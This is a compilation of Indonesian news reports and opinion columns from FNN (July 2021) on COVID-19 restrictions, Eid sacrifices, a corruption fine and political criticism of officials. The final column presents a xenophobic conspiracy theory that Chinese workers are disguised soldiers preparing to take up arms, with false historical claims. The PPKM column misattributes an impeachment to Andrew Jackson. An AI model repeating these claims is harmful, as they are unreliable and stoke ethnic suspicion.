persen. Ia mencatat perusahaan yang belum menerapkan aturan tersebut, terutama yang kelas menengah ke bawah, serta UMKM, industri rumahan, serta ada pula perusahaan besar. Tim Satgas COVID-19 Kabupaten Kudus juga akan memantau dan monitor sehingga bagi yang belum menerapkan akan diberikan sanksi. (sws)

Pecat Risma

By M Rizal Fadillah Bandung, FNN - Dengan wajah asem dan garang ala Risma kita bagian rakyat Indonesia harus marah-marah dan teriak "Pecat Risma !". Menteri Sosial "muntahan" Juliari ini dinilai tidak memiliki etika sosial, sok kuasa, dan bawel. Teringat gaya manajemen marah-marahnya Ahok yang ujungnya tersandung di Kepulauan Seribu. Soal Al Qur'an Ahok berkata hoak dan akhirnya merasakan penjara. Beruntung ia masih mendapat perlakuan khusus. Risma diramaikan karena mengancam pegawai Balai Wyata Guna Bandung yang akan dilempar ke Papua karena dinilai mengecewakan soal dapur umum. Urusan telur rebus. Publik mengecam Risma karena dianggap rasialis dan melecehkan Papua sebagai tempat pembuangan yang merujuk masa penjajahan dulu, Boven Digul. Meskipun Balai Wyata Guna adalah UPT Kemensos tetapi lembaga ini berlokasi di Bandung. Mensos semestinya memahami karakter warga Bandung atau adat Sunda yang "hade tata dan hade basa". Cara menyerang para pegawai dengan mencak-mencak tersebut di Bandung sangat menyedihkan dan menyakitkan. Mengoreksi bukan dengan emosi, tetapi tegurlah secara baik. Bukankah boss Bu Risma pak Presiden pernah bilang bahwa kritik itu boleh tetapi dengan cara sopan dan beradab. Para pegawai yang menyiapkan sambutan untuk memuliakan kedatangan Mensos melalui pertunjukan musik ditolak dan dilecehkan dengan bahasa "ditendang" segala. Para pimpinan, staf, tenaga pengajar di lingkungan Balai Wyata Guna telah bekerja keras untuk membina penyandang disabilitas yang tak bisa melihat. Hargailah mereka, jangan karena soal dapur umum saja sudah dihancurkan reputasi dan dedikasinya. Lagi pula berbicara soal penderitaan warga yang berbalas telur rebus tidaklah terlalu signifikan. Bantuan telur untuk Rumah Sakit saja masih terlalu sedikit. Untuk kesekian kali Risma berakting yang orang duga agar dirinya bisa dilempar ke Jakarta. Mungkin ingin jadi Gubernur DKI terus Presiden. Memimpin negeri dengan manajemen kusam yang penuh amarah tidaklah diharapkan oleh rakyat. Terlalu lama kita hidup di alam penjajahan yang penuh dengan amuk kuasa para pejabat. Papua telah direndahkan dan Bandung dikotori. Presiden telah salah besar dalam memilih orang. Karenanya jika Presiden ingin dihormati kembali baik oleh rakyat Papua maupun penduduk Bandung, maka jalan tepatnya adalah pecat Risma. Bikin gaduh saja di Bandung. Soal telur rebus telah menyebabkan marah kemana-nana. Andai saja ada "Egg Boy" di Indonesia, mungkin Bu Risma sudah ditaploki telur busuk di kepalanya. Tetapi bagusnya kita ini bangsa yang masih sopan. Pecat Risma, Pak Presiden. Meskipun sadar bahwa dengan memecatnya tidak berarti persoalan selesai, akan tetapi dengan pemecatan tersebut, satu persoalan sudah selesai..persoalan runyam dan bising Risma. *) Pemerhati Politik dan Kebangsaan

Satu Tenaga Medis di Kota Sorong Meninggal Akibat COVID-19

Sorong, FNN - Satu tenaga medis yang sehari-hari bertugas di Puskesmas Malanu Kota Sorong, Provinsi Papua Barat meninggal dunia setelah berjuang melawan COVID-19. Juru Bicara Satgas Penanganan COVID-19 Kota Sorong Ruddy Rudolf Lakku di Sorong, Jumat, membenarkan bahwa satu tenaga medis meninggal dunia akibat COVID-19. Ia mengatakan bahwa yang bersangkutan telah dimakamkan sesuai prosedur penanganan jenazah pasien COVID-19 di Pekuburan COVID-19 Kota Sorong Kamis (15/7) malam. Karena itu, Ruddy mengimbau masyarakat agar disiplin menerapkan protokol kesehatan guna membantu pemerintah untuk mencegah penyebaran COVID-19. "Hilangkan pandangan bahwa virus corona sudah tidak ada sebab hasil pemeriksaan laboratorium masih ada masyarakat yang terkonfirmasi positif COVID-19 serta satu tenaga medis meninggal dunia menunjukkan virus masih ada Dikatakan bahwa kota Sorong sedang PKKM darurat. Oleh karena itu, dia berharap agar masyarakat yang tidak mempunyai kepentingan penting untuk keluar rumah mohon tinggal di rumah saja untuk menekan angka penyebaran virus yang tinggi. Ia mengajak seluruh elemen masyarakat untuk menerapkan protokol kesehatan, yakni rajin cuci tangan, selalu gunakan masker, jaga jarak, dan hindari kerumunan demi melindungi diri dan keluarga dari penyebaran COVID-19. (sws)

Presiden Hadiri Virtual KTT Informal APEC Bahas Penanganan COVID-19

Jakarta, FNN - Presiden Joko Widodo (Jokowi) mengikuti Konferensi Tingkat Tinggi (KTT) Informal Kerja Sama Ekonomi Asia Pasifik (APEC) secara virtual dari Istana Negara, Jakarta, Jumat malam, yang membahas upaya negara-negara kawasan menangani pandemi COVID-19 dan memulihkan ekonomi. Menteri Luar Negeri (Menlu) Retno Marsudi yang turut mendampingi Presiden, menjelaskan KTT informal ini digagas Selandia Baru untuk membahas penanganan pandemi COVID-19 yang telah melanda banyak negara. Pertemuan tersebut dipimpin oleh Perdana Menteri (PM) Selandia Baru Jacinda Ardern selaku Ketua APEC tahun ini. "Situasi pandemi saat ini, Selandia Baru menggagas sebuah KTT tambahan khusus untuk membahas kolaborasi APEC dalam penanganan pandemi dan pemulihan ekonomi kawasan," kata Menlu Retno di Youtube Sekretariat Presiden usai KTT Informal APEC, yang disaksikan di Jakarta, Jumat. Dalam KTT informal tersebut, turut hadir Direktur Pelaksana IMF Kristalina Georgieva dan Executive Director of Health Emergencies Programme WHO, Michael Ryan. IMF dan WHO menyebut bahwa situasi dunia masih penuh dengan tantangan baik dari sisi kesehatan maupun sisi ekonomi. "Setelah tahun lalu mengalami pertumbuhan yang minus, maka proyeksi pertumbuhan dunia untuk tahun 2021 diperkirakan 6 persen. Namun, pertumbuhan tersebut tentunya akan dipengaruhi situasi pandemi ke depan. Masalah akses vaksin bagi semua negara mendapatkan perhatian dari dua pembicara dan do it together serta time of solidarity ditekankan oleh kedua pembicara tersebut," kata Menlu. Dalam sepekan terakhir ini, jumlah kasus COVID-19 di tingkat global meningkat sekitar 15 persen. Di pertemuan itu, WHO menyampaikan bahwa dunia sedang menghadapi peningkatan angka kasus dan kematian dalam empat pekan terakhir. Beberapa negara ekonomi APEC bahkan menghadapi kenaikan kasus lebih dari 100 persen. Menlu Retno menuturkan bahwa APEC sejauh ini telah menyepakati sejumlah komitmen terkait penanganan pandemi dan percepatan pemulihan ekonomi, yaitu deklarasi untuk memfasilitasi pergerakan barang esensial di masa pandemi yang dikeluarkan pada 2020. Sementara pada 2021, APEC mengeluarkan pernyataan bersama untuk memfasilitasi sektor jasa yang mendukung pergerakan barang esensial dan pernyataan bersama untuk mempercepat WTO Trade Facilitation Agreement untuk mendukung kelancaran rantai pasok vaksin COVID-19 dan barang terkait lainnya. KTT APEC kali ini juga menghasilkan dokumen Pernyataan Pemimpin Ekonomi APEC: Mengatasi COVID-19 dan Mempercepat Pemulihan Ekonomi. Hal-hal penting dari dokumen tersebut antara lain kerja sama untuk mendorong akses yang berkeadilan yang merata untuk vaksin COVID-19, pentingnya pembukaan lapangan kerja baru dan pemulihan ekonomi inklusif, reformasi struktural untuk mendukung adaptasi pekerja dan sektor pelaku bisnis termasuk lewat transformasi digital, serta perdagangan, investasi, dan integrasi ekonomi kawasan untuk mendorong pemulihan ekonomi. Selain didampingi Menteri Luar Negeri, dalam pertemuan tersebut Presiden Joko Widodo juga turut didampingi oleh Menteri Koordinator Bidang Perekonomian Airlangga Hartarto dan Sekretaris Kabinet Pramono Anung. (sws)

Presiden Jokowi, PPKM Darurat Itu Hantu Apa?

Sebagai penanggung jawab konstitusional penyelenggaraan pemerintahan telah, Presiden sedang dan terlihat akan terus melakukan tindakan-tindakan pemerintahan untuk memerangi corona. Selain menggalakan vaksinasi, yang macam-macam jenisnya, pemerintah dengan Presiden sebagai penanggung jawab juga mau menjual vaksin ke rakyat. Luar biasa Presiden. Entah dari mana inspirasinya, Presiden mengambil kebijakan untuk membatasi pergerakan setiap orang. Operasional pembatasan ini, sejauh yang dinyatakan adalah mencegah penyebaran covid-19. Pembatasan Pergerakan Kegiatan Masyarakat (PPKM) Darurat, yang tidak dikenal dalam sistem hukum, entah apa pertimbangannya, hanya dilakukan di seluruh pulau Jawa dan pulau Bali. Apakah covid-19 hanya mengganas di Jawa dan Bali? Terlihat tidak. Kenyataan obyektif yang dapat diperiksa dan berbicara dalam semua aspeknya berbeda. Hampir seluruh daerah di Indonesia terjerat virus ini. Tak mungkin pemerintah tidak tahu kalau virus dengan varian baru ini juga menyebar di daerah. Mengapa Presiden tak menyatakan seluruh daerah di Indonesia berada dalam PPKM Darurat? Pada titik ini, kejujuran Presiden berada dalam timbangan yang kritis, sehingga patut untuk dipertanyakan. Apa yang sedang dipikirkan Presiden? Apakah nyawa orang-orang di daerah tak sepenting orang-orang di Jawa dan Bali? Jawabannya ada di kantong celana atau kameja Prersiden. Entah Presiden jujur atau tidak, obyektif atau tidak. Apakah daerah-daerah non Jawa dan Bali tidak penting bagi Indonesia? Sekali lagi, jawaban defenitifnya ada di kantong Presiden, terlepas apakah Presiden mau berkata jujur atau tidak dengan jawabannya. Jujur, memang perkara yang mustahil diminta ke seorang politisi, dimanapun itu. Tetapi semustahil sekalipun, jujur tetap merupakan penanda kebesaran, dan kemegahan harkat dan martabat seorang pemimpin negare. Apakah dia politisi, honorable man, aristocrat man ataupun orang yang biasa saja. Jujur itu mahkota setiap orang hebat. Terminologi PPKM Darurat, tidak ditemukan dalam UU Nomor 6 Tahun 2018 Tentang Kekarantinaan Kesehatan. UU ini hanya mengenal Karantina Wilayah, seluruhnya atau sebagian, plus Pembatasan Sosial, termasuk skalanya. Hanya konsep itu saja. Tidak ada konsep yang lain selain itu. Lalu, PPKM Darurat ini hantu yang datang dari mana? Sandaran hukumnya apa Pak Presiden? Suka atau tidak, konsekwensi dari penyelenggaraan pemerintahan yang berdasarkan hukum, maka yang tepat diterapkan adalah Karantina Wilayah. Karantina ini dapat dilakukan untuk seluruh Indonesia atau sebagiannya saja. Apapun pilihannya, harus memiliki alasan hukum. Itulah keadaan obyektif yang dapat rakyat hari ini. Pembaca FNN yang budiman. UU Nomor 6 Tahun 2018 Tentang Kerkarantinaan Kesehatan tidak mengenal PPKM. Maka logis untuk dipertanyakan, Presiden mengambil konsep itu dari sumber hukum apa? Dari UU jelas tidak ada. Apakah Presiden punya diskresi? Untuk urusan sekecil itu, tak perlu didiskusikan panjang. Itu disebabkan UU Nomor 30 Tahun 2014 Tentang Administrasi Pemerintahan mengatur begitu jelas, syarat, kapan dan tujuan diskresi digunakan. Presdein tak mungkin tidak tahu UU itu. Logis, kita mempertanyakan penggunaan PPKM itu dari sumber hukum yang mana Pak Presiden? Diskresi, jelas tidak bisa. Tidak ada ilmunya itu Presiden. Masa yang seperti itu saja Presiden tidak mengerti atau paham? Apalagi kalau Presiden tidak mau patuh pada hukum tentang tata kelola negara. Bagaimana rakyat negeri ini harus paham, taat dan patuh kepada hukum kalau presiden saja tidak paham dan tidak patuh kepada hukum. Kalau Presiden tidak paham, semua orang hukum Tata Negara, apalagi Presiden pasti memiliki pakar Tata Negara sebagai pembantunya tentu tahu itu. Bahwa PPKM itu kebijakan yang tidak ada sandaran hukumnya. Sehingga dianggap sebagai kebijakan yang abal-abal, picisan dan amatiran. Presidential discretion itu hanya bisa diambil, kalau tak tersedia tindakan yang diperlukan dalam sistem hukum. Tetapi tindakan hukum itu diperlukan dan harus diambil untuk memecahkan kemacetan pemerintahan atau mencegah memburuknya keadaan bernegara. Tidak di luar itu, apapun alasannya. Itu sebabnya wajar dipertanyakan, apa pertimbangan yang digunakan Presiden, sehingga tidak bersandar pada UU Nomor 6 Tahun 2018 tentang Kekarantinaan Kesehatan dalam mengelola serang covid ini? Tetapi bila ditarik sedikit ke awal, harus diakui Presiden tahu bahwa dia dibekali UU ini. Itu terlihat pada ramainya polemik tentang Lock Down. Polemik kecil antara pemerintahn pusat dengan Anies Baswedan, Gubernur DKI Jakarta, yang kala itu, bergairah menerapkan karantina Jakarta, yang terlihat tidak disenangi oleh pemerintah Pusat, jelas. Terlihat kalau Presiden tahu benar tentang UU itu. Tetapi justru disitu soalnya. Mengapa Presiden hanya megambil sebagian dari UU itu sebagai dasar tindakan? Sekali lagi, wajar masyarakat, paling kurang FNN meminta kejujuran Presiden untuk menerangkan secara terang-benderang kepada rakyat. Kami cukup yakin, kalau rakyat selalu dapat mengerti dan sesuai tabiat alamiahnya, rakyat selalu luluh kala mendapati penjelasan jujur dari pemimpinnya. Tidak cukup alasan mengatakan Presiden sedang berkelit dengan sangat cerdik dari perintah UU Nomor 6 Tahun 2018 itu. Perintah UU ini jelas, dalam hal diterapkan Karantina Wilayah, yang pembatasan pergerakan manusia terjadi dengan sendirinya memang sangat memberatkan keuangan Negara. Sebabnya jelas. Dalam hal Presiden menerapkan karantina wilayah, Presiden harus beri makan rakyat, apapun status sosial ekonomi mereka. Tidak itu saja, Presiden juga harus beri makan hewan peliharaan rakyat. Itu imperative. Absolut dilakukan. Ini kewajiban untuk hukum Presiden. UU Nomor 6 Tahun 2018 tidak menyediakan alasan apapun, sekadar untuk bisa ditangguhkan sementara, apalagi dikesampingkan. Presiden harus diingatkan, semoga diapresiasi rakyat. Tetapi jujur itu menjadi penanda mahkota mahluk manusia. Bila saja pemerintah telah tidak punya cukup uang untuk beli beras yang diberi kepada rakyat, bicanglah secara jujur. Kalau saja pemerintah tidak lagi punya duit kontan, dan pinjam di sana-sini lagi juga susah didapat, maka jujur saja. Jelasan secara jujur tentang keuangan negara kepada rakyat apa adanya, jauh lebih terhormat, daripada berkelit, dan tampil seolah-olah keadaan keuangan negara sedang biasa-biasa saja. Presiden harus tahu kewajiban pemerintah itu memelihara. Bukan sengsarakan rakyat. Negara tidak dibikin untuk menomorsatukan jalan. Bukan itu. Negara, dibikin untuk melindungi rakyat. Bahasan para pendiri negara yang dituangkan dalam pembukaan UUD 1945, negara dibuat untuk melindungi segenap bangsa Indonesia, dan selurun tumpah darah Indonesia. Memajukan kesejahteraan umum, serta mencerdaskan kehidupan bangsa dan seterusnya. Bukan pencerdasan kalau penjelasan yang tidak jujur tentang keadaan negara. Melaksanakan pemerintahan berdasarkan hukum saja Presiden tidak bisa. Sangat terhormat bila Prersdien menggunakan podium Istana menyampaikan kepada rakyat bahwa PPKM itu merupakan cara Presiden berkelit dari karantina wilayah yang diperintahkan UU Nomor 6 Tahun 2018. Bilang saja, pemerintah akan bangkrut kalau harus beri makan rakyat. Bilang saja pemerintah hari ini tidak punya cukup uang, sehingga pemerintah harus bertindak diluar UU Nomor 6 Tahun 2018. Pemerintah pakai PPKM Darurat. Sungguh beruntung Presiden, DPR tidak berfungsi sebagaimana seharusnya. Beruntung sekali, partai politik telah tertranfiormasi sepenuhnya menjadi satu dan bersama dalam sikap dengan Presiden. Bila tidak, tindakan mengabaikan UU ini, cukup beralasan untuk dikualifikasi Presiden telah melakukan perbuatan tercela. Ini salah satu alasan pemberhentian Presiden. Suka atau tindakan Preasiden yang hanya mengambil sebagian dari UU Nomor 6 Tahun 2018, dan mengenyampingkan sebagian, untuk alasan apapun, tidak dapat menjustifikasi kenyataan Presiden talah mengabaikan kewajiban konstitusionalnya. Tidak ada Presiden, yang tidak dibebani kewajiban menjalankan UU. Begitu karena fungsi kontitusional utama Presiden melaksanakan UU. Melaksanakan UU adalah tindakan penyelenggaraan atau tindakan pemerintahan itu. Ini adalah kewajiban konstitusional utama presiden. Pak Presiden tahu, impeachment pertama dalam sejarah Impeachmen adalah impeachmen terhjadap Andrew Jackson, Presiden penerus Abraham Linkcolny, yang pasti ditembak pada tahun 1865. Presiden Jackson di impeach hanya karena memberhentikan Edwin Stanton, Menteri Pertahanannya. Tindakan ini dinilai oleh senat dari partai Republik melanggar Tenur Office Act. Pak Presiden, jujurlah. PPKM itu barang apa? Hantu apa? Dari mana sumber hukumnya? Apa itu merupakan terjemah dari Karantina Wilayah? Pembatasan kegiatan masyarakat, yang sedang dan mungkin akan terus dilanjutkan secara konseptual itu merupakan konsekuensi langsung Karantina Wilayah. Batasi kegiatan rakyat dalam PPKM, tetapi rakyat harus cari makan sendiri, jelas Presiden memukul dengan penuh penghinaan terhadap rakyat. Bansos memang ada. Tetapi konsep beri makan menurut kerangkan hukum UU Nomor 6 Tahun 2018, bukan bansos. Bukan juga dapur umum. Apakah dapur itu umum bisa memberi makan rakyat satu Jakarta? Jujurlah Pak Presiden. Jujur itu indah, dan hebat karena menandai keangungan sebagai seorang Presiden, sekaligus menjadi penanda mahkota manusia yang beradab. Semoga bermanfaat.

Pemkot Bandarlampung Belum Temukan Hewan kurban Berpenyakit

Bandarlampung, FNN - Dinas Pertanian dan Perternakan (Distanak) Kota Bandarlampung belum menemukan hewan kurban yang memiliki penyakit selama melakukan pemeriksaan menjelang Hari Raya Idul Adha 1442 Hijriah. "Tim sudah turun sejak Selasa (13/7) melakukan pemeriksaan hewan kurban ke lapak-lapak penjualan yang ada di 20 kecamatan dan sampai sekarang belum ditemukan hewan kurban baik kambing maupun sapi yang berpenyakit," kata Kepala Distanak Kota Bandarlampung, Agustini di Bandarlampung, Jumat. Namun begitu, lanjut dia, pihaknya menemukan beberapa hewan kurban yang dijajakan tidak layak untuk dijadikan kurban sehingga meminta kepada penjual untuk dipisahkan dan tak menawarkannya ke konsumen. "Ada tiga ekor kambing yang kami temukan tanduknya cacat, kemudian kita minta dipisahkan dan tidak dijual ke pembeli, kalau berpenyakit sejauh ini belum ditemukan," kata dia. Dia pun mengungkapkan bahwa pemeriksaan hewan kurban ini akan dilaksanakan sampai dengan pemotongan di tanggal 20 Juli guna menjamin daging kurban benar-benar aman dan bebas dari bakteri atau penyakit. "Tim yang akan turun masih sama dengan yang melakukan tugas pemeriksaan kesehatan hewan sekarang. Jadi pemeriksaan sebelum di potong biasanya dilakukan di masjid atau tempat pemotongan satu hari sebelumnya setelah hewannya sudah dikumpulkan atau tempat pemotongan kemudian kami juga melakukan pengecekan organ setelah dipotong," kata dia. Dia pun meminta masyarakat agar memperhatikan kesehatan hewan kurban yang akan dibelinya. Ada beberapa ciri hewan itu sehat diantaranya aktif, nafsu makan baik, badan bersih, matanya mengkilap dan kelengkapan anggota tubuhnya normal. "Untuk kebutuhan hewan kurban di Bandarlampung, kita prediksikan mencapai 5.000 ekor. Dengan kebutuhan hewan kurban jenis kambing sebanyak 3.000 ekor dan sapi 2.000 ekor," kata dia. (sws)

Kapuas Hulu Evaluasi Pelaksanaan PPKM Mikro di Daerah Perbatasan

Putussibau, Kapuas Hulu, FNN - Pemerintah Kabupaten Kapuas Hulu di Kalimantan Barat mengevaluasi pelaksanaan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) skala mikro tingkat desa di Kecamatan Badau, daerah perbatasan Indonesia dengan Malaysia di wilayah Kapuas Hulu. Saat memimpin rapat koordinasi dan evaluasi PPKM mikro tingkat desa di Kecamatan Badau pada Jumat, Wakil Bupati Kapuas Hulu Wahyudi Hidayat menekankan pentingnya sinergi dari semua pihak dalam upaya mengatasi penularan COVID-19. "Saya minta seluruh kepala desa untuk bisa berinovasi dan berkolaborasi dengan semua pihak," katanya. Ia mengemukakan bahwa yang terpenting dilakukan pada saat ini adalah bersinergi dan bergotong royong untuk menanggulangi penularan virus corona, tidak justru menghabiskan waktu untuk berdebat dan saling menyalahkan. "Saya juga mengajak semua pihak agar bisa melawan pandemi dengan rasa empati, karena dengan rasa empati lah yang akan membuat semangat dan taat tetap ada dalam hati serta pikiran kita," katanya. Wakil Bupati juga mengingatkan kembali pentingnya penerapan protokol kesehatan untuk mencegah penularan COVID-19. (sws)

USK Aceh Buka Gerai Vaksinasi COVID-19 Massal untuk Mahasiswa

Banda Aceh, FNN - Universitas Syiah Kuala (USK) menggandeng Polda Aceh dan Kodam Iskandar Muda membuka gerai vaksinasi COVID-19 massal guna mempercepat vaksinasi bagi mahasiswa dan masyarakat sekitar Kampus Darussalam, Banda Aceh. Rektor USK Prof Samsul Rizal di Banda Aceh, Jumat, mengatakan vaksinasi massal dipusatkan di AAC Dayan Dawood. Kegiatan dikoordinir Badan Eksekutif Mahasiswa USK. "Di lingkungan USK sendiri sudah dilaksanakan vaksinasi beberapa kali, berkat kerja sama dengan Kodam Iskandar Muda, Polda Aceh. Alhamdulillah semuanya berjalan lancar," ucap Rektor. Rektor mengatakan gerai vaksinasi massal di AAC Dayan Dawood untuk mempermudah mahasiswa melakukan vaksin. Terutama mahasiswa baru yang diwajibkan vaksin "USK membuka diri bagi masyarakat yang akan melakukan vaksin. Ini juga bagian dari peran kampus dalam berbuat di tengah pandemi, bentuk pengabdian kami. Sebelumnya, kami sudah mewajibkan mahasiswa untuk vaksin dan sertifikat vaksin menjadi syarat saat pengisian KRS," kata Rektor. Prof Samsul Rizal mengatakan vaksinasi vaksin COVID-19 merupakan ikhtiar menurunkan angka penularan virus corona di Aceh. Oleh karena itu, pihaknya mengajak masyarakat mengikuti vaksinasi vaksin COVID-19 di gerai tersebut. "Kami juga akan mengajak pedagang di seputaran kampus untuk mengikuti vaksinasi vaksin COVID-19, sehingga tujuan vaksinasi mewujudkan kekebalan kelompok bisa terealisasi," kata Prof Samsul Rizal. (sws)

Pemkab Pulang Pisau Kalteng Salurkan 16 Sapi Kurban

Pulang Pisau, FNN - Pemerintah Kabupaten Pulang Pisau, Kalimantan Tengah, mengalokasikan 16 ekor sapi kurban yang akan didistribusikan kepada sejumlah masjid di masing-masing kecamatan. “Masih dalam suasana pandemi COVID-19 ini, hewan kurban yang diserahkan bisa membantu dan mengurangi beban masyarakat ,” kata Asisten I Bidang Pemerintahan Pemkab Pulang Pisau M Syaripul Pasaribu di Pulang Pisau, Jumat. Mewakili Bupati Pulang Pisau dalam penyerahan hewan kurban di Masjid Agung Ar Raudah, Syaripul mengingatkan kepada panitia penyembelihan hewan kurban, agar dalam pelaksanaannya mematuhi protokol kesehatan. Sesuai dengan arahan pemerintah bahwa hewan kurban dipastikan dalam keadaan sehat, pelaksanaan dilakukan di tempat terbuka, dan memastikan petugas selalu menjaga kebersihan dengan mencuci tangan, menggunakan masker dan membawa peralatan masing-masing. "Jumlah bantuan hewan kurban yang disalurkan tahun ini meningkat dari tahun sebelumnya, dan komitmen pemerintah setempat selalu berusaha meningkatkan lebih banyak jumlah hewan kurban," ucapnya. Syaripul juga meminta kepada panitia pelaksana kurban dalam pendistribusian daging kurban dan menghindari terjadinya kerumunan, panitia bisa langsung mendistribusikan daging kurban tersebut ke rumah masing-masing warga yang menjadi penerima. Hal ini dilakukan untuk menekan penyebaran COVID-19 di kabupaten setempat, dan jangan sampai ada kluster baru dari kerumunan yang terjadi saat proses penyembelihan dan pendistribusian pada Hari Raya Idul Adha 1442 Hijriah. Kepala Bagian Kesejahteraan Masyarakat (Kesra) Sumadi mengungkapkan bahwa selain 16 ekor hewan kurban yang disalurkan oleh pemerintah setempat, ada pula hewan kurban yang diterima dari pemerintah Provinsi Kalimantan Tengah. “Rencananya, penyerahan simbolis dilaksanakan pada hari Minggu dan diserahkan kepada sejumlah masjid yang ada di Kabupaten Pulang Pisau,” jelas dia. Sumadi juga mengatakan jumlah bantuan hewan kurban dari pemerintah provinsi sebanyak 25 ekor. Total bantuan hewan kurban yang disalurkan bersama pemerintah kabupaten sebanyak 41 ekor. (sws)

Kejari Medan Terima Uang Pembayaran Denda Perkara Korupsi Adelin Lis

Medan, FNN - Kejaksaan Negeri (Kejari) Medan, Sumatera Utara, menerima pembayaran denda dan uang pengganti sebesar Rp1 miliar perkara tindak pidana korupsi serta tindak pidana kehutanan dari terpidana atas nama Adelin Lis. Kasi Penkum Kejaksaan Tinggi Sumatera Utara Sumanggar Siagian, ketika dikonfirmasi di Medan, Jumat, membenarkan penerimaan pembayaran denda dan uang pengganti tersebut. Ia menyebutkan, penerimaan uang pengganti, dalam kasus korupsi yang merugikan keuangan negara itu, di bertempat di Kejari Medan, Kamis (15/7) sekira pukul 14.30 WIB. Penyerahan denda dan uang pengganti itu diwakili oleh Kendrik Ali (anak dari terpidana Adelin Lis) dan diterima langsung oleh Kasi Pidsus Kejari Medan Agus Kelana Putra. "Penyerahan pembayaran denda itu, yakni uang tunai Rp1 miliar dan satu buah sertifikat Hak Guna Bangunan (HGB) Nomor 302, lokasi di Jalan Hang Jebat, Kelurahan Madras Hulu seluas 769 M2 atas nama terpidana Adelin Lis," ujar mantan Kasi Pidum Kejari Binjai ini. Sebelumnya, berdasarkan putusan kasasi yang diajukan Jaksa Penuntut Umum, Adelin Lis diputus bersalah pada tanggal 31 Juli 2008 dan dihukum dengan pidana antara lain, pidana penjara selama 10 tahun, denda Rp1 miliar subsider enam bulan kurungan, uang pengganti Rp119,8 miliar, dan 2.938.556,24 dolar AS. Adelin Lis berhasil dipulangkan dari Singapura ke Jakarta pada Sabtu (19/6), setelah menjadi buronan selama 10 tahun lebih. ​​​​​​​Adelin Lis merupakan terpidana tindak pidana korupsi dan tindak pidana kehutanan sebagaimana diatur dalam Undang-Undang RI Nomor 31 Tahun 1999 sebagaimana telah diubah dan ditambah dengan Undang-Undang RI Nomor 21 Tahun 2001 tentang Tindak Pidana Korupsi serta Undang-Undang RI Nomor 41 Tahun 1999 yang telah diubah dengan Undang-Undang RI Nomor 19 Tahun 2004 tentang Kehutanan. (sws)

Provinsi Kepri Masih Kekurangan 1.900 Guru SMA/SMK/SLB

Tanjungpinang, 16/7 (ANTARA) - Kepala Dinas Pendidikan Provinsi Kepulauan Riau (Kepri) Muhammad Dali menyampaikan daerah itu masih kekurangan sekitar 1.900 guru tingkat SMA/SMK/SLB. "1.797 posisi guru sudah diinput ke database Kementerian Pendidikan Republik Indonesia," kata Dali di Tanjungpinang, Jumat. Namun, dia mengatakan kekurangan guru tersebut bakal sedikit tertutupi pada tahun 2022, seiring adanya penerimaan Pegawai Pemerintahan dengan Perjanjian Kerja atau PPPK. Menurutnya Pemprov Kepri tahun ini mendapat kuota PPPK sebanyak 867 orang. Kuota tersebut diklaim paling banyak dibanding tahun-tahun sebelumnya. "Paling tidak ini bisa menutupi kekurangan guru di daerah kita, meskipun statusnya PPPK," ujar Dali. Lebih lanjut Dali menyampaikan Pemprov Kepri memiliki keterbatasan anggaran untuk mengakomodir pemenuhan kebutuhan guru di daerah setempat. Diakuinya kebutuhan akan tenaga pendidik guru di wilayah tersebut sangat banyak. Hal ini ditandai dengan kondisi geografis yang memiliki sekitar 2.408 pulau. "Penambahan guru berkaitan erat dengan kesiapan anggaran," ujar Dali. Pihaknya menargetkan masalah tenaga pendidik di Provinsi Kepri dapat diselesaikan sesuai target Rencana Pembangunan Jangka Menengah Daerah (RPJMD) Provinsi Kepri 2021-2026 di bidang pendidikan.

Perlu Waspadai TKA China Komunis Angkat Senjata

by Tarmidzi Yusuf Bandung FNN - Publik banyak bertanya-tanya. Ada apa dibalik kebijakan PPKM Darurat Pemerintah Jokowi? Kenapa bukan dari setahun yang lalu diberlakukan PPKM Darurat? Benarkah rezim Jokowi menyimpan agenda tersembunyi dibalik berlakunya PPKM Darurat? Kabarnya, pemerintah Jepang mulai mengevakuasi warganya dari Indonesia. Amerika Serikat juga mengeluarkan travel warning level 3. Sedangkan Inggris dan Australia menyarankan tidak agar warga negara tidak bepergian ke Indonesia. Benarkah sikap pemerintah Jepang, Amerika Serikat, Inggris dan Australia tersebut semata-mata hanya karena lonjakan kasus covid-19 yang makin menggila di Indonesia? Atau ada desas-desus Tenaga Kerja Asing (TKA) China komunis bakal angkat senjata di Indonesia? Apa jadinya kalau TKI komunis Bejing yang tiap masuk ke Indoonesia antara 500-1.000 orang seperti diungkapkan anggota Komisi III DPR dari Fraksi Golkar Rudi Ma’ud saat rapat kerja dengan Menteri Hukum dan Hak Asasi Manusia itu benar. Artinya dalam setahun ada sekitar 182.00 sampai 365.000 orang TKA Cina yang masuk ke Indonesia. Dalam lima tahun terakhir saja diperkirakan sekitar 910.000 sampai 1.825.000 orang TKI China yang sudah berada di Indonesia. Ciri-ciri yang tampak dari pata TKA China tersebut adalah berpenampilan tegak dan kekar. Seperti orang yang pernah mengikuti latihan wajib militer di China komunis. Tampilan dan jumlah mereka yang membuat msayarakat untuk curiga kepada pemerintah Jokowi. Persoalnya, isu masuknya ribuan, bahkan jutaan TKA China komunis ke Indonesia selama PPKM Darurat menuai kontroversi di mana-mana. TKA China mewarnai dan mendominasi perbincangan hangat di ruang-ruang publik. Wajar saja bublik khawatir sekaligus cemas. Luhut Binsar Panjaitan (LBP) dan Jokowi memberikan karpet merah untuk TKA China komunis. Apalah ada skenario besar tersebung dibalik masuknya TKA China komunis ke Indonesia ditengah PPKM Darurat? Bukan tanpa alasan bila muncul kekhawatiran. Kasus Tibet, Angola dan Zimbabwe merupakan contoh nyata yang wajib untuk dijadikan pelajar. Semua dimulai dengan menjadi pekerja. Mula-mula tentara China komunis berkedok TKA masuk Tibet. Tidak lama berselang setelah menjadi TKA, mereka lalu angkat senjata untuk mengusai Tibet. Selanjutnya Tibet takluk dibawah kekuasaan China komunis. Pemimpin Tibet Dalai Lama diusir dari negaranya. Kemudian terjadi di belahan benua Afrika. Angola dan Zimbabwe kini ditaklukan oleh China komunis. Ditaklukan melalui utang yang menggung. Angola dan Zimbabwe terjerat utang. Sementara kasus Indonesia, gabungan dari kasus di tiga negara tersebut. Pencaplokan Indonesia melalui masuknya TKA China komunis dan dijerat dengan utang. Siapa yang bisa menjamin kalau tiba-tiba TKA China komunis tidak akan angkat senjata di tengah situasi Indonesia yang semakin tidak menentu? PPKM Darurat mirip-mirip darurat sipil. Seperti; pemberlakuan jam malam, penyekatan kawasan strategis dan rakyat dikurung di dalam rumah. Sementara TKA China bebas masuk Indonesia. Yang lebih tragis lagi, ditengarai rezim Jokowi sekarang mulai sempoyongan. Indonesia diambang multi dimensi kebangkrutan. 